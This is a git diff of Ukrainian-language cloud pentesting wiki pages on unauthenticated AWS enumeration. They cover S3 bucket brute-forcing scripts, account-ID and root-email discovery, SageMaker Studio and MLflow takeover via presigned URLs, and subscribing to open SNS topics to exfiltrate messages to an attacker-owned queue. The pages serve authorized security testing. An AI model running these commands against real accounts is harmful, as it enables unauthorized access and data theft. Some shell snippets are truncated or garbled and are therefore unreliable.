AWS для зберігання певних ресурсів: + +#### Enumeration & OSINT: + +- Використовуючи **wappalyzer** (плагін для браузера) +- Використовуючи burp (**spidering** вебу) або вручну переміщаючись по сторінці — всі **resources**, що **завантажуються**, будуть збережені в History. +- **Перевіряйте ресурси** в доменах типу: + +``` +http://s3.amazonaws.com/[bucket_name]/ +http://[bucket_name].s3.amazonaws.com/ +``` + +- Перевірте **CNAME**, оскільки `resources.domain.com` може мати CNAME `bucket.s3.amazonaws.com` +- **[s3dns](https://github.com/olizimmermann/s3dns)** – легкий DNS-сервер, який пасивно ідентифікує cloud storage buckets (S3, GCP, Azure) аналізуючи DNS-трафік. Він виявляє CNAME, слідує ланцюгам резолюції та зіставляє шаблони bucket-ів, пропонуючи тиху альтернативу brute-force або API-орієнтованому відкриттю. Ідеально підходить для recon та OSINT-робочих процесів. +- Перевірте [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), веб-сайт з уже **виявленими відкритими buckets**. +- Ім'я bucket-а та домен bucket-а мають бути **однаковими.** +- **flaws.cloud** має IP 52.92.181.107 і якщо перейти за цією адресою, вас перенаправить на [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Також `dig -x 52.92.181.107` повертає `s3-website-us-west-2.amazonaws.com`. +- Щоб перевірити, що це bucket, ви також можете **відвідати** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/). + +#### Brute-Force + +Ви можете знайти bucket-и, перебираючи імена, пов'язані з компанією, яку ви тестуєте: + +- [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner) +- [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector) +- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Містить список потенційних імен bucket-ів) +- [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets) +- [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky) +- [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers) +- [https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3) +- [https://github.com/Eilonh/s3crets_scanner](https://github.com/Eilonh/s3crets_scanner) +- [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter) + +
# Generate a wordlist to create permutations
+curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
+curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp
+cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt
+
+# Generate a wordlist based on the domains and subdomains to test
+## Write those domains and subdomains in subdomains.txt
+cat subdomains.txt > /tmp/words-hosts-s3.txt
+cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
+cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
+
+# Create permutations based in a list with the domains and subdomains to attack
+goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
+## The previous tool is specialized increating permutations for subdomains, lets filter that list
+### Remove lines ending with "."
+cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
+### Create list without TLD
+cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3
+### Create list without dots
+cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/
+### Create list without hyphens
+cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5
+
+## Generate the final wordlist
+cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words-s3.txt.temp4 /tmp/final-words-s3.txt.temp5 | grep -v -- "-\." | awk '{print tolower($0)}' | sort -u > /tmp/final-words-s3.txt
+
+## Call s3scanner
+s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt  | grep bucket_exists
+
+ +#### Loot S3 Buckets + +Якщо є відкриті S3 buckets, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) може автоматично **шукати цікаву інформацію**. + +### Find the Region + +Ви можете знайти всі підтримувані регіони AWS в [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html) + +#### By DNS + +Ви можете дізнатися регіон bucket-а за допомогою **`dig`** та **`nslookup`**, зробивши **DNS-запит на виявлений IP**: +```bash +dig flaws.cloud +;; ANSWER SECTION: +flaws.cloud. 5 IN A 52.218.192.11 + +nslookup 52.218.192.11 +Non-authoritative answer: +11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. +``` +Переконайтеся, що в отриманому домені є слово "website".\ +Ви можете отримати доступ до статичного вебсайту, перейшовши за адресою: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ +або ви можете отримати доступ до bucket, відвідавши: `flaws.cloud.s3-us-west-2.amazonaws.com` + + + +#### Спробою + +Якщо ви намагаєтеся отримати доступ до bucket, але в **доменному імені вказано інший регіон** (наприклад bucket знаходиться в `bucket.s3.amazonaws.com`, але ви намагаєтеся звернутися до `bucket.s3-website-us-west-2.amazonaws.com`), тоді вам буде **вказано правильне розташування**: + +![](<../../../images/image (106).png>) + +### Перелічення вмісту bucket + +Щоб перевірити відкритість bucket, користувач може просто ввести URL у свій веб-браузер. Приватний bucket відповість "Access Denied". Публічний bucket покаже перші 1,000 об'єктів, які були збережені. + +Доступно для всіх: + +![](<../../../images/image (201).png>) + +Приватний: + +![](<../../../images/image (83).png>) + +Також це можна перевірити через cli: +```bash +#Use --no-sign-request for check Everyones permissions +#Use --profile to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions +#--recursive if you want list recursivelyls +#Opcionally you can select the region if you now it +aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile ] [ --recursive] [--region us-west-2] +``` +Якщо bucket не має доменного імені, під час спроби enumerate його, **вказуйте лише bucket name**, а не весь домен AWSs3. Приклад: `s3://` + +### Шаблон публічного URL +``` +https://{user_provided}.s3.amazonaws.com +``` +### Отримати Account ID з public Bucket + +Можна визначити акаунт AWS, використовуючи новий **`S3:ResourceAccount`** **Policy Condition Key**. Ця умова **обмежує доступ на основі S3 bucket**, в якому знаходиться акаунт (інші політики, що базуються на акаунті, обмежують доступ на основі акаунту, в якому перебуває суб'єкт, який робить запит).\ +І оскільки політика може містити **wildcards**, можна знайти номер акаунту **лише по одній цифрі за раз**. + +Цей інструмент автоматизує процес: +```bash +# Installation +pipx install s3-account-search +pip install s3-account-search +# With a bucket +s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket +# With an object +s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext +``` +Ця техніка також працює з API Gateway URLs, Lambda URLs, Data Exchange data sets і навіть дозволяє отримати значення тегів (якщо ви знаєте ключ тегу). Ви можете знайти більше інформації в [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) та в інструменті [**conditional-love**](https://github.com/plerionhq/conditional-love/) для автоматизації цієї експлуатації. + +### Confirming a bucket belongs to an AWS account + +Як пояснено в [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, якщо у вас є дозволи на list a bucket** можна підтвердити accountID, якому належить bucket, відправивши запит такого вигляду: +```bash +curl -X GET "[bucketname].amazonaws.com/" \ +-H "x-amz-expected-bucket-owner: [correct-account-id]" + + +... +``` +Якщо помилка — “Access Denied”, це означає, що ID облікового запису був неправильним. + +### Використані email-адреси як root account enumeration + +Як пояснено в [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), можна перевірити, чи електронна адреса пов'язана з будь-яким обліковим записом AWS, **спробувавши надати електронній пошті дозволи** на S3 bucket через ACLs. Якщо це не викликає помилки, це означає, що електронна адреса є root user деякого облікового запису AWS: +```python +s3_client.put_bucket_acl( +Bucket=bucket_name, +AccessControlPolicy={ +'Grants': [ +{ +'Grantee': { +'EmailAddress': 'some@emailtotest.com', +'Type': 'AmazonCustomerByEmail', +}, +'Permission': 'READ' +}, +], +'Owner': { +'DisplayName': 'Whatever', +'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef' +} +} +) +``` +## Джерела + +- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) +- [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md new file mode 100644 index 000000000..3b534a2b6 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md @@ -0,0 +1,108 @@ +# AWS - SageMaker Несанкціонований доступ + +{{#include ../../../../banners/hacktricks-training.md}} + +## SageMaker Studio - Захоплення облікового запису через CreatePresignedDomainUrl (Impersonate Any UserProfile) + +### Description +Ідентифікатор з дозволом викликати `sagemaker:CreatePresignedDomainUrl` на цільовому Studio `UserProfile` може створити URL для входу, який авторизується безпосередньо в SageMaker Studio під цим профілем. Це надає браузеру нападника сесію Studio, яка успадковує права `ExecutionRole` профілю та повний доступ до домашньої директорії профілю, що зберігається на EFS, та додатків. Не потрібні `iam:PassRole` або доступ до консолі. + +### Requirements +- Наявність SageMaker Studio `Domain` та цільового `UserProfile` в ньому. +- Принципал нападника потребує `sagemaker:CreatePresignedDomainUrl` на цільовому `UserProfile` (рівень ресурсу) або `*`. + +Minimal policy example (scoped to one UserProfile): +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "sagemaker:CreatePresignedDomainUrl", +"Resource": "arn:aws:sagemaker:::user-profile//" +} +] +} +``` +### Кроки зловживання + +1) Перелічте Studio Domain та UserProfiles, на які можна націлитися +```bash +DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text) +aws sagemaker list-user-profiles --domain-id-equals $DOM +TARGET_USER= +``` +2) Згенеруйте presigned URL (дійсний приблизно 5 хвилин за замовчуванням) +```bash +aws sagemaker create-presigned-domain-url \ +--domain-id $DOM \ +--user-profile-name $TARGET_USER \ +--query AuthorizedUrl --output text +``` +3) Відкрийте повернений URL у браузері, щоб увійти в Studio як цільовий користувач. У Jupyter терміналі всередині Studio перевірте фактичну ідентичність: +```bash +aws sts get-caller-identity +``` +Примітки: +- `--landing-uri` можна опустити. Деякі значення (наприклад, `app:JupyterLab:/lab`) можуть бути відхилені залежно від flavor/version Studio; за замовчуванням зазвичай відбувається перенаправлення на домашню сторінку Studio, а потім у Jupyter. +- Політики Org/обмеження VPC endpoint все ще можуть блокувати мережевий доступ; випуск токена не вимагає входу в консоль або `iam:PassRole`. + +### Вплив +- Латеральний рух і ескалація привілеїв шляхом прийняття будь‑якого Studio `UserProfile`, ARN якого дозволено, із наслідуванням його `ExecutionRole` та файлової системи/додатків. + +### Докази (з контрольного тесту) +- Маючи лише `sagemaker:CreatePresignedDomainUrl` на цільовому `UserProfile`, роль атакуючого успішно повернула `AuthorizedUrl`, схожий на: +``` +https://studio-d-xxxxxxxxxxxx.studio..sagemaker.aws/auth?token=eyJhbGciOi... +``` +- Прямий HTTP-запит відповідає перенаправленням (HTTP 302) на Studio, підтверджуючи, що URL дійсний і активний до закінчення строку дії. + + +## SageMaker MLflow Tracking Server - ATO via CreatePresignedMlflowTrackingServerUrl + +### Опис +Ідентифікація з дозволом викликати `sagemaker:CreatePresignedMlflowTrackingServerUrl` для цільового SageMaker MLflow Tracking Server може згенерувати одноразовий presigned URL, який автентифікується безпосередньо в керованому MLflow UI цього сервера. Це надає той самий доступ, який мав би легітимний користувач до сервера (перегляд/створення experiments і runs, а також завантаження/вивантаження artifacts у S3 artifact store сервера) без доступу до консолі або `iam:PassRole`. + +### Вимоги +- Наявність SageMaker MLflow Tracking Server в акаунті/регіоні та його назви. +- Принципал-атакувальник повинен мати `sagemaker:CreatePresignedMlflowTrackingServerUrl` на цільовому MLflow Tracking Server resource (або `*`). + +Мінімальний приклад політики (обмежено до одного Tracking Server): +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "sagemaker:CreatePresignedMlflowTrackingServerUrl", +"Resource": "arn:aws:sagemaker:::mlflow-tracking-server/" +} +] +} +``` +### Кроки зловживання + +1) Перелічіть MLflow Tracking Servers, які ви можете атакувати, і виберіть одну назву +```bash +aws sagemaker list-mlflow-tracking-servers \ +--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}' +TS_NAME= +``` +2) Згенерувати попередньо підписаний MLflow UI URL (дійсний протягом короткого часу) +```bash +aws sagemaker create-presigned-mlflow-tracking-server-url \ +--tracking-server-name "$TS_NAME" \ +--expires-in-seconds 300 \ +--session-expiration-duration-in-seconds 1800 \ +--query AuthorizedUrl --output text +``` +3) Відкрийте повернутий URL у браузері, щоб отримати доступ до MLflow UI як авторизований користувач для цього Tracking Server. + +Notes: +- Tracking Server має бути в готовому стані (наприклад, `Created/Active`). Якщо він все ще в стані `Creating`, виклик буде відхилено. +- The presigned URL is single‑use and short‑lived; generate a new one when needed. + +### Вплив +- Прямий доступ до керованого MLflow UI для цільового Tracking Server, що дозволяє переглядати та змінювати експерименти/запуски і отримувати або завантажувати артефакти, збережені в налаштованому на сервері S3 artifact store, в межах дозволів, накладених конфігурацією сервера. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md deleted file mode 100644 index b26cf594b..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md +++ /dev/null @@ -1,21 +0,0 @@ -# AWS - SNS Неавтентифіковане Перерахування - -{{#include ../../../banners/hacktricks-training.md}} - -## SNS - -Для отримання додаткової інформації про SNS дивіться: - -{{#ref}} -../aws-services/aws-sns-enum.md -{{#endref}} - -### Відкрито для всіх - -Коли ви налаштовуєте тему SNS з веб-консолі, ви можете вказати, що **Кожен може публікувати та підписуватися** на тему: - -
- -Отже, якщо ви **знайдете ARN тем** всередині облікового запису (або методом брутфорсу потенційних назв тем), ви можете **перевірити**, чи можете ви **публікувати** або **підписуватися** на **них**. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md new file mode 100644 index 000000000..c9cae7e5e --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md @@ -0,0 +1,55 @@ +# AWS - SNS Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## SNS + +Для отримання додаткової інформації про SNS перегляньте: + +{{#ref}} +../../aws-services/aws-sns-enum.md +{{#endref}} + +### Доступно для всіх + +Коли ви налаштовуєте a SNS topic через веб-консоль, можна вказати, що **Усі можуть публікувати й підписуватися** на тему: + +
+ +Отже, якщо ви **знаходите ARN тем** в акаунті (або перебираєте ймовірні назви тем), ви можете **перевірити**, чи можете **публікувати** або **підписатися** на **ні**. + +Це еквівалентно політиці ресурсу SNS topic, яка дозволяє `sns:Subscribe` для `*` (або для зовнішніх акаунтів): будь-який principal може створити підписку, яка доставлятиме всі майбутні повідомлення теми до SQS queue, якою вони володіють. Коли власник черги ініціює підписку, для SQS endpoints не потрібне підтвердження людини. + +
+Відтворення (us-east-1) +```bash +REGION=us-east-1 +# Victim account (topic owner) +VICTIM_TOPIC_ARN=$(aws sns create-topic --name exfil-victim-topic-$(date +%s) --region $REGION --query TopicArn --output text) + +# Open the topic to anyone subscribing +cat > /tmp/topic-policy.json < /tmp/sqs-policy.json < + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md deleted file mode 100644 index b58a98d2d..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md +++ /dev/null @@ -1,19 +0,0 @@ -# AWS - SQS Неавтентифікований Перелік - -{{#include ../../../banners/hacktricks-training.md}} - -## SQS - -Для отримання додаткової інформації про SQS перегляньте: - -{{#ref}} -../aws-services/aws-sqs-and-sns-enum.md -{{#endref}} - -### Публічний шаблон URL -``` -https://sqs.[region].amazonaws.com/[account-id]/{user_provided} -``` -### Перевірка дозволів - -Можливо неправильно налаштувати полі diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md new file mode 100644 index 000000000..6f7ff4fae --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md @@ -0,0 +1,21 @@ +# AWS - SQS Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## SQS + +Для отримання додаткової інформації про SQS див.: + +{{#ref}} +../../aws-services/aws-sqs-and-sns-enum.md +{{#endref}} + +### Шаблон публічного URL +``` +https://sqs.[region].amazonaws.com/[account-id]/{user_provided} +``` +### Перевірте дозволи + +Можна неправильно налаштувати політику черги SQS і надати всім в AWS дозволи на надсилання та отримання повідомлень, тому якщо ви отримали ARN черг — спробуйте, чи маєте доступ до них. + +{{#include ../../../../banners/hacktricks-training.md}}